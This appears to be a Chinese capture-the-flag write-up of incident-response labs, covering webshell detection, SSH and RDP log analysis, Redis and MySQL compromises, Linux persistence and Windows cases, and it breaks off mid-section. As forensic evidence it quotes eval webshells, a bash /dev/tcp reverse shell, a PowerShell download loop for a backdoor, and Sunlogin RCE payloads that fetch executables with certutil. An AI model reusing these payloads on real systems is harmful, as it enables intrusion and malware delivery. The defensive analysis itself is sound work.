玄机应急响应靶场集合WP
第一章 应急响应-webshell查杀
简介
靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
进去靶机开久了会扣金币,所以一进去把文件dump下来
tar -czvf html.tar.gz ./
dump下来之后直接先D盾一把梭先
扫描结果如下
id 级别 大小 CRC 修改时间 文件 (说明)
--------------------------------------------------------------------------------------------------------------------------------------------
00001 4 38 FEE1C229 23-08-02 10:52:25 \html\shell.php 『Eval后门 {参数:$_REQUEST[1]}』
00002 4 808 3F54B485 23-08-02 10:56:39 \html\include\gz.php 『(内藏)Eval后门 {参数:encode($_SESSION[$payloadName],"3c6e0b8a9c15224a")}』
00003 3 205 D6CF6AC8 23-08-02 16:56:29 \html\wap\top.php 『变量函数[$c($fun)]|可疑文件』
00004 4 768 3DEFBD91 23-08-02 11:01:06 \html\include\Db\.Mysqli.php 『(内藏)Eval后门 {参数:encode($_SESSION[$payloadName],"3c6e0b8a9c15224a")}』
--------------------------------------------------------------------------------------------------------------------------------------------
有很多,一个一个看在\html\include\gz.php里看到一行注释
//027ccd04-5065-48b6-a32d-77c704a5e26d
就是flag了
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
随便把shell里复制出来一段
$data=encode($data,$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); if (strpos($payload,"getBasicsInfo")===false){ $payload=encode($payload,$key);
然后直接丢github搜
塞不了图片,直接丢github之后左边选code就能看到
看到是哥斯拉
https://github.com/BeichenDream/Godzilla
md5一下
flag{39392de3218c333f794befef07ac9257}
3.黑客隐藏shell的完整路径的md5 flag{md5}注:/xxx/xxx/xxx/xxx/xxx.xxx
隐藏shell我们可以看到d盾扫出来有一个.Mysqli.php的隐藏文件
完整路径就是/var/www/html/include/Db/.Mysqli.php
md5后为flag
flag{aebac0e58cd6c5fad1695ee4d1ac1919}
4.黑客免杀马完整路径 md5 flag{md5}
至于是不是免杀马
丢杀毒软件看一下
塞不了图片,直接丢火绒查杀一下发现有三个都扫出来了,还有一个没扫出来
发现top.php没扫出来,那么就是/var/www/html/wap/top.php了
md5一下之后就是
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
第一章 应急响应-Linux日志分析
简介
账号root密码linuxrz
ssh root@IP
1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割
2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割
3.爆破用户名字典是什么?如果有多个使用","分割
4.登陆成功的IP共爆破了多少次
5.黑客登陆主机后新建了一个后门用户,用户名是多少
1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割
我们先把/var/log里面的日志dump下来
tar -czvf log.tar.gz ./
里面找到auth.log.1是放ssh的日志,放到自己虚拟机用正则分析
看有多少ip在爆,直接找登录失败的就行了
cat auth.log.1|grep -a "Failed password for root"
输出
Aug 1 07:42:32 linux-rz sshd[7471]: Failed password for root from 192.168.200.32 port 51888 ssh2
Aug 1 07:47:13 linux-rz sshd[7497]: Failed password for root from 192.168.200.2 port 34703 ssh2
Aug 1 07:47:18 linux-rz sshd[7499]: Failed password for root from 192.168.200.2 port 46671 ssh2
Aug 1 07:47:20 linux-rz sshd[7501]: Failed password for root from 192.168.200.2 port 39967 ssh2
Aug 1 07:47:22 linux-rz sshd[7503]: Failed password for root from 192.168.200.2 port 46647 ssh2
Aug 1 07:52:59 linux-rz sshd[7606]: Failed password for root from 192.168.200.31 port 40364 ssh2
看到就三个ip,那么flag就是
flag{192.168.200.2,192.168.200.31,192.168.200.32}
这是ip比较少的情况下,ip比较多的话可以用下面命令
cat auth.log.1 | grep -a "Failed password for root" |awk '{print $11}' |uniq -c
输出
1 192.168.200.32
4 192.168.200.2
1 192.168.200.31
2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割
登录成功就找Accepted的字样
cat auth.log.1|grep -a "Accepted "
输出
Aug 1 07:47:23 linux-rz sshd[7505]: Accepted password for root from 192.168.200.2 port 46563 ssh2
Aug 1 07:50:37 linux-rz sshd[7539]: Accepted password for root from 192.168.200.2 port 48070 ssh2
就一个192.168.200.2那么flag就是
flag{192.168.200.2}
3.爆破用户名字典是什么?如果有多个使用","分割
我们看爆破字典,要找验证错误的就是"Failed password"
cat auth.log.1|grep -a "Failed password"
输出
Aug 1 07:40:50 linux-rz sshd[7461]: Failed password for invalid user test1 from 192.168.200.35 port 33874 ssh2
Aug 1 07:41:04 linux-rz sshd[7465]: Failed password for invalid user test2 from 192.168.200.35 port 51640 ssh2
Aug 1 07:41:13 linux-rz sshd[7468]: Failed password for invalid user test3 from 192.168.200.35 port 48168 ssh2
Aug 1 07:42:32 linux-rz sshd[7471]: Failed password for root from 192.168.200.32 port 51888 ssh2
Aug 1 07:46:41 linux-rz sshd[7475]: Failed password for invalid user user from 192.168.200.2 port 36149 ssh2
Aug 1 07:46:47 linux-rz sshd[7478]: Failed password for invalid user user from 192.168.200.2 port 44425 ssh2
Aug 1 07:46:50 linux-rz sshd[7480]: Failed password for invalid user user from 192.168.200.2 port 38791 ssh2
Aug 1 07:46:54 linux-rz sshd[7482]: Failed password for invalid user user from 192.168.200.2 port 37489 ssh2
Aug 1 07:46:56 linux-rz sshd[7484]: Failed password for invalid user user from 192.168.200.2 port 35575 ssh2
Aug 1 07:46:59 linux-rz sshd[7486]: Failed password for invalid user hello from 192.168.200.2 port 35833 ssh2
Aug 1 07:47:02 linux-rz sshd[7489]: Failed password for invalid user hello from 192.168.200.2 port 37653 ssh2
Aug 1 07:47:04 linux-rz sshd[7491]: Failed password for invalid user hello from 192.168.200.2 port 37917 ssh2
Aug 1 07:47:08 linux-rz sshd[7493]: Failed password for invalid user hello from 192.168.200.2 port 41957 ssh2
Aug 1 07:47:10 linux-rz sshd[7495]: Failed password for invalid user hello from 192.168.200.2 port 39685 ssh2
Aug 1 07:47:13 linux-rz sshd[7497]: Failed password for root from 192.168.200.2 port 34703 ssh2
Aug 1 07:47:18 linux-rz sshd[7499]: Failed password for root from 192.168.200.2 port 46671 ssh2
Aug 1 07:47:20 linux-rz sshd[7501]: Failed password for root from 192.168.200.2 port 39967 ssh2
Aug 1 07:47:22 linux-rz sshd[7503]: Failed password for root from 192.168.200.2 port 46647 ssh2
Aug 1 07:47:26 linux-rz sshd[7525]: Failed password for invalid user from 192.168.200.2 port 37013 ssh2
Aug 1 07:47:30 linux-rz sshd[7528]: Failed password for invalid user from 192.168.200.2 port 37545 ssh2
Aug 1 07:47:32 linux-rz sshd[7530]: Failed password for invalid user from 192.168.200.2 port 39111 ssh2
Aug 1 07:47:35 linux-rz sshd[7532]: Failed password for invalid user from 192.168.200.2 port 35173 ssh2
Aug 1 07:47:39 linux-rz sshd[7534]: Failed password for invalid user from 192.168.200.2 port 45807 ssh2
Aug 1 07:52:59 linux-rz sshd[7606]: Failed password for root from 192.168.200.31 port 40364 ssh2
东西太多了,我们用命令匹配一下,要匹配for和form之间的字符
cat auth.log.1|grep -a "Failed password"| grep -o 'for .* from'|sort -nr|uniq -c
输出
6 for root from
5 for invalid user user from
1 for invalid user test3 from
1 for invalid user test2 from
1 for invalid user test1 from
5 for invalid user hello from
5 for invalid user from
那么就得到字典
flag{root,user,hello,test3,test2,test1}
看来是顺序不对啊,这个顺序问题也太怪了,不得不吐槽的问题,那可能就是要原始的顺序把
cat auth.log.1|grep -a "Failed password"| grep -o 'for .* from'|uniq -c|sort -nr
输出 5 for invalid user user from
5 for invalid user hello from
5 for invalid user from
4 for root from
1 for root from
1 for root from
1 for invalid user test3 from
1 for invalid user test2 from
1 for invalid user test1 from
flag就为
flag{user,hello,root,test3,test2,test1}
4.登陆成功的IP共爆破了多少次
cat auth.log.1|grep -a "192.168.200.2"|grep "for root"
4次
flag{4}
5.黑客登陆主机后新建了一个后门用户,用户名是多少
直接登/etc/passwd看,发现是test2,直接找也可以
cat auth.log.1|grep -a "new user"
输出
Aug 1 07:50:45 linux-rz useradd[7551]: new user: name=test2, UID=1000, GID=1000, home=/home/test2, shell=/bin/sh
Aug 1 08:18:27 ip-172-31-37-190 useradd[487]: new user: name=debian, UID=1001, GID=1001, home=/home/debian, shell=/bin/bash
flag就是
flag{test2}
第一章 应急响应- Linux入侵排查
简介
账号:root 密码:linuxruqin
ssh root@IP
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
1.web目录存在木马,请找到木马的密码提交
到/var/www把html目录dump下来先
tar -czvf html.tar.gz ./
直接先丢d盾开扫,扫出来结果如下
id 级别 大小 CRC 修改时间 文件 (说明)
--------------------------------------------------------------------------------------------------------------------------------------------
00001 4 88 70B2B130 21-01-01 08:00:01 \.shell.php 『Eval后门 {参数:$_POST[cmd]}』
00002 4 24 F46D132A 23-08-03 10:15:23 \1.php 『Eval后门 {参数:$_POST[1]}』
00003 1 655360 A3580725 23-08-03 10:45:11 \html\1.tar 『可疑文件』
00004 1 722 17D041A4 23-08-03 10:40:18 \html\index.php 『可疑文件』
--------------------------------------------------------------------------------------------------------------------------------------------
//原来已经给我们打包好了 = =
看到1.php里面的
<?php eval($_POST[1]);?>
密码就是1
flag{1}
2.服务器疑似存在不死马,请找到不死马的密码提交
在index.php中有一段话
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
明显是写不死马的,我们把md5丢cmd5里爆破一下得到密码hello
那么就是
flag{hello}
3.不死马是通过哪个文件生成的,请提交文件名
上面我们看到index.php是写不死马的,那么flag就是
flag{index.php}
4.黑客留下了木马文件,请找出黑客的服务器ip提交
我们看到还有一个shell.elf没处理
理论上是要丢ida逆向一下的,但是不会,只能找其他方法了= =
我们丢虚拟机上run一下
chmod +x shell.elf
./shell.elf
然后查看一下网络连接
netstat -antlp
输出里面有一个
tcp 0 1 192.168.1.130:49774 10.11.55.21:3333 SYN_SENT
看到ip就是10.11.55.21
flag{10.11.55.21}
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
端口就是3333
flag{3333}
第二章 日志分析-redis应急响应
flag1
通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;
查看redis日志 (路径 /var/log/redis.log)
暂时无法在飞书文档外展示此内容
用notepad++ 正则表达式匹配Ip
\b(?:\d{1,3}\.){3}\d{1,3}\b
然后将标记文本复制到新文件里面查看,很明显看出192.168.100.13居多,结合日志很多报Eeeor的都与192.168.100.13有关
flag{192.168.100.20}
flag2
通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;
观察日志,
上面部分是黑客进行攻击爆破时的日志,后面与上面不一样,多半就是黑客爆破成功后进行的操作,我们重点关注后面的内容
在里面找到一个可疑的操作
暂时无法在飞书文档外展示此内容
用Notepad++打开看看
搜索flag{
里面发现了flag
flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}
flag3
通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;
对于redis数据库提权一般来说有4种方法
- 写密钥ssh
- 计划任务
- 反弹shell
- CVE-2022-0543 沙盒绕过命令执行 (集成在template当中)
这里面可以先排除反弹shell与CVE-2022-0543 因为反弹shell很容易出问题导致连接失败。
先看下有没有写公钥
cat /root/.ssh/authorized_keys
可以看到是写了公钥的。但仅靠公钥我们是找不到反弹Ip的
再查看计划任务
crontab -l
成功发现反弹shell命令
flag{192.168.100.13}
flag4
通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交
在flag3中,我们发现了公钥,公钥后面就有黑客的用户名xj-test-user
后面的关键字符串找了半天没发现。后面看了Wp才知道,用用户名去github里面搜索
GitHub - xj-test-user/redis-rogue-getshell
连起来
flag{xj-test-user-wow-you-find-flag}
flag5
通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;
大多数Linux命令都是编译后的二进制可执行文件
这些可执行文件一般放置于 /bin、/sbin、/usr/bin、/usr/sbin 等目录中
我们到/bin目录 按照时间顺序查看最新的文件
cat /bin/ps
可以发现ps命令被篡改了
flag{c195i2923381905517d818e313792d196}
总结
- 了解redis提权的4种方式
- 写密钥ssh
- 计划任务
- 反弹shell
- CVE-2022-0543 沙盒绕过命令执行 (集成在template当中)
- 学会利用正则表达式进行过滤 notepad++ 匹配ip
\b(?:\d{1,3}\.){3}\d{1,3}\b
- 寻找工具的关键代码可以用关键信息到github进行搜索
- 篡改的命令一般位于**/bin、/sbin、/usr/bin、/usr/sbin** 等目录中,利用时间排序快速筛选出被串改的命令
第二章 日志分析-Mysql 应急响应
查找第一次写入的 Shell
首先切换到网站路径
cd /var/www/html
打包源码使用 D 盾进行扫描
tar -czvf web.tar.gz ./*
发现sh.php中存在eval()函数,确定此文件为写入的 Shell,在 Shell 中找到 Flag 为ccfda79e-7aa1-4275-bc26-a6189eb9a20b
寻找反弹 Shell IP
这里我们需要寻找 Mysql 的报错日志,路径如下:
/var/log/mysql/error.log
在日志中找到一个可疑的1.sh脚本
/tmp/1.sh: line 1: --2023-08-01: command not found
/tmp/1.sh: line 2: Connecting: command not found
/tmp/1.sh: line 3: HTTP: command not found
/tmp/1.sh: line 4: Length:: command not found
/tmp/1.sh: line 5: Saving: command not found
/tmp/1.sh: line 7: 0K: command not found
/tmp/1.sh: line 9: syntax error near unexpected token `('
/tmp/1.sh: line 9: `2023-08-01 02:16:35 (5.01 MB/s) - '1.sh' saved [43/43]'
查看1.sh的具体如下,可以发现攻击者反弹 Shell 的 IP,这段脚本启动了 Bash Shell,将流量重定向到 TCP 连接上,实现反弹 Shell 的目的,故 Flag 为192.168.100.13
bash -i >&/dev/tcp/192.168.100.13/777 0>&1
寻找提权文件
因为本关都是关于 Mysql 的应急响应,故猜测提权方式也和 Mysql 有关,关于 Mysql 的提权方法有四种,分别是:
- UDF 提权
- MOF 提权
- 启动项提权
- CVE-2016-6663
基于目前的环境我们可以排除 MOF 提权(Windows 下可利用),启动项提权(Windows 下可利用),而 CVE-2016-6663 需要 MariaDB <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17,而我们环境的 MariaDB 版本为 5.5.64,不在此漏洞的影响版本内,也可以排除掉
所以目前只剩 UDF 提权一种方法,我们只需排查这个提权方式即可,UDF 提权是基于自定义函数实现的,而自定义函数的前提是 UDF 的动态链接库文件放置于 MySQL 安装目录下的lib\plugin文件夹,故我们需要登录 Mysql 对 plugin 关键字进行排查
一般来说,在/etc/mysql/my.cnf会保存 Mysql 的登录密码,但是本关在这里并没有找到密码
在网站目录下存在一个common.php,是网站的配置文件,包含 Mysql 的账户密码
/var/www/html/common.php
之后登录 Mysql 进行排查
mysql -uroot -p334cc35b3c704593
之后对 plugin 关键词进行排查,显示所有与 plugin 相关的系统变量
show variables like '%plugin%';
发现一个有效变量为plugin_dir,对其路径进行排查
发现一个udf.so,也就变相验证了我们刚才的排查思路没错
最终完整路径如下,故 MD5 加密为 Flag 为b1818bde4e310f3d23f1005185b973e7
/usr/lib/mysql/plugin/udf.so
确定攻击者获得的权限
使用ps -aux命令查看进程的详细信息,可以看到提权文件的运行后的权限为mysql,故 Flag 为 mysql
第二章 日志分析-Apache 日志分析
登录靶机,我们的目的是分析 Apache 的日志,Apache+Linux 日志路径一般是以下三种:
- /var/log/apache/access.log
- /var/log/apache2/access.log
- /var/log/httpd/access.log
这里我们可以发现/var/log目录下有apache2文件夹,也就是上面的第二种路径
切换到/var/log/apache2路径,使用ls -l列出当前路径下的所有文件,发现access.log是空的,这里我们分析access.log.1
访问次数最多的 IP
这里手动查询出访问次数最多的 IP,命令如下,这个命令用于统计access.log.1文件中每个独特的第一部分出现的次数,并显示出现次数最多的前 20 个,这里查询出的 IP 为192.168.200.2
cut -d- -f 1 access.log.1|uniq -c | sort -rn | head -20
查找指纹
第二个 Flag 要求我们查找攻击者的指纹,我们可以根据 IP 在日志中进行反查,所以我们在access.log.1文件中匹配192.168.200.2,提取出指纹为Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36,转为 md5 为2d6330f380f44ac20f3a02eed0958f66
cat access.log.1 |grep "192.168.200.2"
查看页面访问次数
第三个 Flag 是index.php页面被访问的次数,首先在日志中识别/index.php,之后使用管道符进行拼接,最后使用wc(word count)命令进行计数,-l参数就是只计算行数,最终结果为 27
grep "/index.php" access.log.1 |wc -l
查看 IP 访问次数
第四个 Flag 和第三个基本一致,差别在于如果直接使用grep "192.168.200.2"会匹配到192.168.200.211这个 IP,造成错误
所以这里我们使用-w参数进行全匹配,这样就只查询192.168.200.2的个数了,最终结果是6555
grep -w "192.168.200.2" access.log.1 |wc -l
查看时间段内的 IP
第五个 Flag 要求查看 2023年8月03日8时 这一个小时内有多少IP访问,这个时间段在日志中表示为03/Aug/2023:08:
这里使用grep命令匹配这个时间段,之后使用awk命令打印出匹配日志的第一个字段(IP 地址),最后使用sort命令进行数字(-n)逆序(-r),使用 uniq -c 命令计算每个独特IP地址的出现次数
cat access.log.1 | grep "03/Aug/2023:08:" | awk '{print $1}' | sort -nr| uniq -c
最终查询出有五个 IP 在此时间段内进行访问
第三章 权限维持-linux权限维持-隐藏
- 黑客隐藏的隐藏文件
find / -type f -name ".*" 2>/dev/null | grep -v "^\/sys\/" // 查找隐藏文件
find / -type d -name ".*" 2>/dev/null // 查找隐藏目录
这个目录很可疑,进入查看 只有这个1.py存在执行权限,对这个目录文件 /tmp/.temp/libprocesshider/1.py 加密,提交 flag{109ccb5768c70638e24fb46ee7957e37}
2.文件反弹shell的IP以及端口
这个可以直接查看这个1.py内容,但是在/tmp下存在一个1.sh但是无法运行,提交flag{114.114.114.121:9999}3.黑客提权所用的命令 完整路径
find / -type f -perm -4000 2>/dev/null // 查找设置了suid权限的程序
可以手动切换到ctf用户,测试 对 /usr/bin/find md5加密,提交 flag{7fd5884f493f4aaf96abee286ee04120}
4.黑客尝试注入恶意代码的工具完整路径
继续回到之前使用find查找隐藏目录 这个目录通过查找是一个注入工具 对该工具的完整路径 /opt/.cymothoa-1-beta/cymothoa 加密,提交 flag{087c267368ece4fcf422ff733b51aed9}
5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec** 值 作为flag提交
执行完成后,查看网络连接
python3 /tmp/.temp/libprocesshider/1.py
根据PID查找程序
cat /proc/486/cmdLine
根据题目要求,需要提供完整的执行程序 `whereis python3
提交 `flag{/usr/bin/python3.4}
第四章 windows实战-emlog
1、通过本地 PC RDP到服务器并且找到黑客植入 shell,将黑客植入 shell 的密码 作为 FLAG 提交; 进入phpstudy目录,查看access.log,找到黑客连接的shell路径,打开看到密码是冰蝎默认的rebeyond
flag{rebeyond}
2、通过本地 PC RDP到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交; 还是看access.log,连接shell的ip就是黑客的ip
flag{192.168.126.1}
3、通过本地 PC RDP到服务器并且分析黑客的隐藏账户名称,将黑客隐藏账户名称作为 FLAG 提交; 查看控制面板,带$的是隐藏账户
flag{hacker138}
4、通过本地 PC RDP到服务器并且分析黑客的挖矿程序的矿池域名,将黑客挖矿程序的矿池域名称作为(仅域名)FLAG 提交; 在hacker138用户的桌面找到Kuang.exe,是用python打包的,用ppyinstxtractor.py先解包,再用uncompyle6反编译Kuang.pyc,在代码中找到域名
flag{wakuang.zhigongshanfang.top}
第四章-windows日志分析
题目描述:
某台Windows服务器遭到攻击者入侵,管理员查看发现存在大量rdp爆破的请求,攻击者使用了不同位置的IP(此处模拟),进行爆破并成功,并成功进入了系统,进入系统后又做了其它危害性操作,请根据各题目完成填写
题目来源公众号 州弟学安全
文档:https://mp.weixin.qq.com/s/eJpsOeaEczcPE-uipP7vCQ
任务环境说明
本次环境来自大赛+实战等环境,思路和灵感感谢Zeal大哥提供,基本围绕应急响应中重要的几点去排查
开放题目
审计桌面的logs日志,定位所有扫描IP,并提交扫描次数
暂时无法在飞书文档外展示此内容
分析acceess.log 可以发现里面主要有比较可疑
先看一下有哪些ip访问过
cut access.log -d - -f 1 |uniq -c |sort -rn |head -100
排除掉本地 127.0.0.1的ip就剩下
192.168.150.1 524次
192.168.150.67 6331次
192.168.150.33 54次
192.168.150.60 1次
再打开日志大概看一下每个ip的访问记录
观察后可以发现192.168.150.1的访问日志,其访问的路径都是public下的一些目录。属于正常访问。所以可以排除,而192.168.150.60 只有一次 也可以排除
所以扫描IP就是
192.168.150.67 6331次
192.168.150.33 54次
统计次数也可以用notepad++进行标记
flag{6385}
审计相关日志,提交rdp被爆破失败次数
分享一个工具可以帮助我们快速分析windows日志
暂时无法在飞书文档外展示此内容
这里我们打开工具,查看登录失败的日志(登录失败的事件id为4625)
选择all rows 然后全选复制到excel里面就可以看到有多少次
flag{2594}
审计相关日志,提交成功登录rdp的远程IP地址,多个以&连接,以从小到大顺序排序提交
同样用工具 查看远程桌面登录成功日志 (事件id 4624)
可以复制到excel里面 相对好看些
注: 后面的两条 2024-9-17 的rdp登录记录不算。这是我打靶时进行Rdp连接的
flag{192.168.150.1&192.168.150.128&192.168.150.178}
提交黑客创建的隐藏账号
查看历史用户添加情况
这里有两个账户hacker 与 hackers 对应创建的隐藏账户与影子账户
PS:创建用户的事件id为 4720
flag{hacker$}
提交黑客创建的影子账号
flag{hackers$}
提交远程shell程序的连接IP+端口,以IP:port方式提交
看第7题
flag{185.117.118.21:4444}
黑客植入了一个远程shell,审计相关进程和自启动项提交该程序名字
win+r 输入 msconfig 查看启动项
发现有一个可疑程序 xiaowei.exe
用云沙乡看看
flag{xiaowei.exe}
查看网络行为,可以得到第6题的答案
黑客使用了计划任务来定时执行某shell程序,提交此程序名字
win+r 输入 taskschd.msc
查看计任务
一眼就可以发现一个很可疑的任务名 download
点进去看一下,发现与后门程序有关,基本就可以实锤了
查看操作可以获取到执行shell程序的名字
download.bat的内容
@echo off
:loop
echo Requesting download from 185.117.118.21:1111/xiaowei.exe...
start /b powershell -Command "Invoke-WebRequest -Uri 'http://185.117.118.21/xiaowei.exe' -OutFile 'C:\Windows\system64\systemWo\xiaowei.exe'"
timeout /t 300 /nobreak >nul
goto loop
flag{download.bat}
第四章 windows实战-向日葵
题目1
通过本地 PC RDP到服务器并且找到黑客首次攻击成功的时间为 为多少,将黑客首次攻击成功的时间为 作为 FLAG 提交(2028-03-26 08:11:25.123);
日志路径:C:\Program Files\Oray\SunLogin\SunloginClient\log
特征:WindowsPowerShell
找到最早出现的记录:2024-03-26 10:16:25.585 - Info - [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64247, path: /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami, version: HTTP/1.1
flag:flag{2024-03-26 10:16:25.585}
题目2
通过本地 PC RDP到服务器并且找到黑客攻击的 IP 为多少,将黑客攻击 IP 作为 FLAG 提交;
看到上面的记录,connection后面就是对方的IP地址。
flag:flag{192.168.31.45}
题目3
通过本地 PC RDP到服务器并且找到黑客托管恶意程序 IP 为,将黑客托管恶意程序 IP 作为 FLAG 提交;
关键字ping
随便翻一翻看一下payload,就看到了IP:192.168.31.249
2024-03-26 10:31:07.576 - Info - [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:49329,/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+certutil+-urlcache+-split+-f+http%3A%2F%2F192.168.31.249%2Fmain.exe, plugin:check, session:sobGzXzWBfSlSbdqnmkUbJMLEjhssRx1
flag:flag{192.168.31.249}
题目4
找到黑客解密 DEC 文件,将黑客DEC 文件的 md5 作为 FLAG 提交;
在C:/Windwos/System32下有一个qq.txt,是一个QQ群647224830,加进去下载群文件
计算一下md5的值:certutil -hashfile DEC.pem MD5
flag:flag{5ad8d202f80202f6d31e077fc9b0fc6b}
题目5
通过本地 PC RDP到服务器并且解密黑客勒索软件,将桌面加密文件中关键信息作为 FLAG 提交;
桌面的加密文件:
N2xTZ2Bsn2Y5lve7KZ36bgsFjqncBs55VO0zkeEIr5Iga/kbegA0BAstotBWnZ16+trNfkzl3apUobodMkC8covEo22p+kWAyVjMRyJ98EQ4Pspr/Y5HIuH0xuvPa82j7b0AMJHkyd2viuymI/mrxjJk2X0xlEE4YVioMLd22+w=
Your files have been encrypted
0sWK8adKSGh1Xaxo6n1mZFoyNDYVokXwkBhxnzxU+MEJIV44u48SdOiFzWLn849hObaP6z26lLtMnXaDUnAPuMh+nF2hw9RoAsur7KYxE8/iY/y4jOEBsHT5wvQldcNfntrDyMUCvrWTUHl2yapUmaIIf2rZsNsqMVJ9puZzp58+FJmulyC7R1C2yoP1jHhsdOkU7htbzUWWsm2ybL+eVpXTFC+i6nuEBoAYhv2kjSgL8qKBFsLKmKQSn/ILRPaRYDFP/srEQzF7Y4yZa4cotpFTdGUVU547Eib/EaNuhTyzgOGKjXl2UYxHM/v0c3lgjO7GDA9eF3a/BBXPAgtK126lUfoGK7iSAhduRt5sRP4=
前半部分是RSA加密的AES密钥,后半部分是AES加密的原内容,依次进行解密
flag:flag{EDISEC_15c2e33e-b93f-452c-9523-bbb9e2090cd1}
第四章 windows实战-wordpress
1.请提交攻击者攻击成功的第一时间 日志存储位置C:\phpstudy_pro\Extensions\Nginx1.15.11\logs\access.log 黑客一直在爆破后台,从最后一个POST登陆请求之后,访问/manage/welcome.php就返回200了 所以时间是29/Apr/2023:22:45:23flag{2023:04:29 22:45:23} 2、请提交攻击者的浏览器版本 flag{Firefox/110.0} 3、请提交攻击者目录扫描所使用的工具名称 在日志中,发现扫描器特征 flag{Fuzz Faster U Fool} 4、找到攻击者写入的恶意后门文件,提交文件名 使用D盾扫描一下 flag{C:\phpstudy_pro\WWW\.x.php} 5、找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名 同上,已经在D盾中显示出来 flag{C:\phpstudy_pro\WWW\usr\themes\default\post.php} 6、请指出可疑进程采用的自动启动的方式,启动的脚本的名字 查看自启动文件目录 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUpC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 并无可疑文件,接下来查看Temp目录和Windows目录 在Windows目录下,发现可疑文件 x.bat启动了360.exe 将360.exe上传微步看看,发现是木马 flag{x.bat}
第四章 windows实战-黑页&&篡改
靶场启动之后,中间位置出现了两个 IP 地址,直接 mstsc 连接即可
▲ 远程连接靶机
瞅一眼桌面,貌似可能会有用的:一个 phpstudy、一个 tool.cmd
▲ 靶机桌面
来都来了,看一眼这个 tool.cmd 是嘛玩意?
▲ tool.cmd 文件
貌似没什么卵用,PASS,直接看看 phpstudy 吧
▲ 靶机上的 phpstudy
apache 正在运行、mysql 正在运行。妥了,就看 apache 日志了,抓紧时间,复制到本机,赶在五分钟之前,桀桀桀~
▲ copy 到本地的 apache 日志
打开 access.log 一看,有点懵逼,空的? error.log 呢?
有点内容,但不多,貌似,并没有什么有价值的信息。什么情况?
▲ apache 日志
Fuck... 被坑了,apache 日志包除了少量的 error.log 之外,其他都是 0kb
赶紧,nginx 日志....
▲ nginx 日志
*首次薅羊毛失败....*
算了,一向情绪稳定的我,这点小事,不碍事,继续...
打开日志,随便翻翻,浏览器版本、扫描工具,貌似很明显。
emmm
先找攻击成功的时间吧,毕竟 flag 要按照顺序提交的。
▲ 一些疑似浏览器版本和扫描工具的信息
攻击成功,优先找 response code 为 200 的吧。
往下翻滚的过程中,可以看到,攻击者在进行大量的 fuzz 目录。
▲ 攻击成功的日志
终于,在接近日志文件末尾的地方,发现了几行日志:
192.168.141.55 - - [29/Apr/2023:22:45:23 +0800] "POST /index.php/action/login?_=139102b0477b064f9cf570483837d74c HTTP/1.1" 302 5 "http://192.168.141.188/manage/login.php?referer=http%3A%2F%2F192.168.141.188%2Fmanage%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0"192.168.141.55 - - [29/Apr/2023:22:45:23 +0800] "GET /manage/ HTTP/1.1" 302 5 "http://192.168.141.188/manage/login.php?referer=http%3A%2F%2F192.168.141.188%2Fmanage%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0"192.168.141.55 - - [29/Apr/2023:22:45:23 +0800] "GET /manage/welcome.php HTTP/1.1" 200 10013 "http://192.168.141.188/manage/login.php?referer=http%3A%2F%2F192.168.141.188%2Fmanage%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0"
在尝试了几次 login 方法之后。终于,在 29/Apr/2023:22:45:23 时,成功访问到了 welcome.php 页面。
这也就以为这对方登录成功。
所以,根据这条日志,可以确定:
flag1:攻击成功时间
flag{2023:04:29 22:45:23}
flag2:攻击者浏览器版本
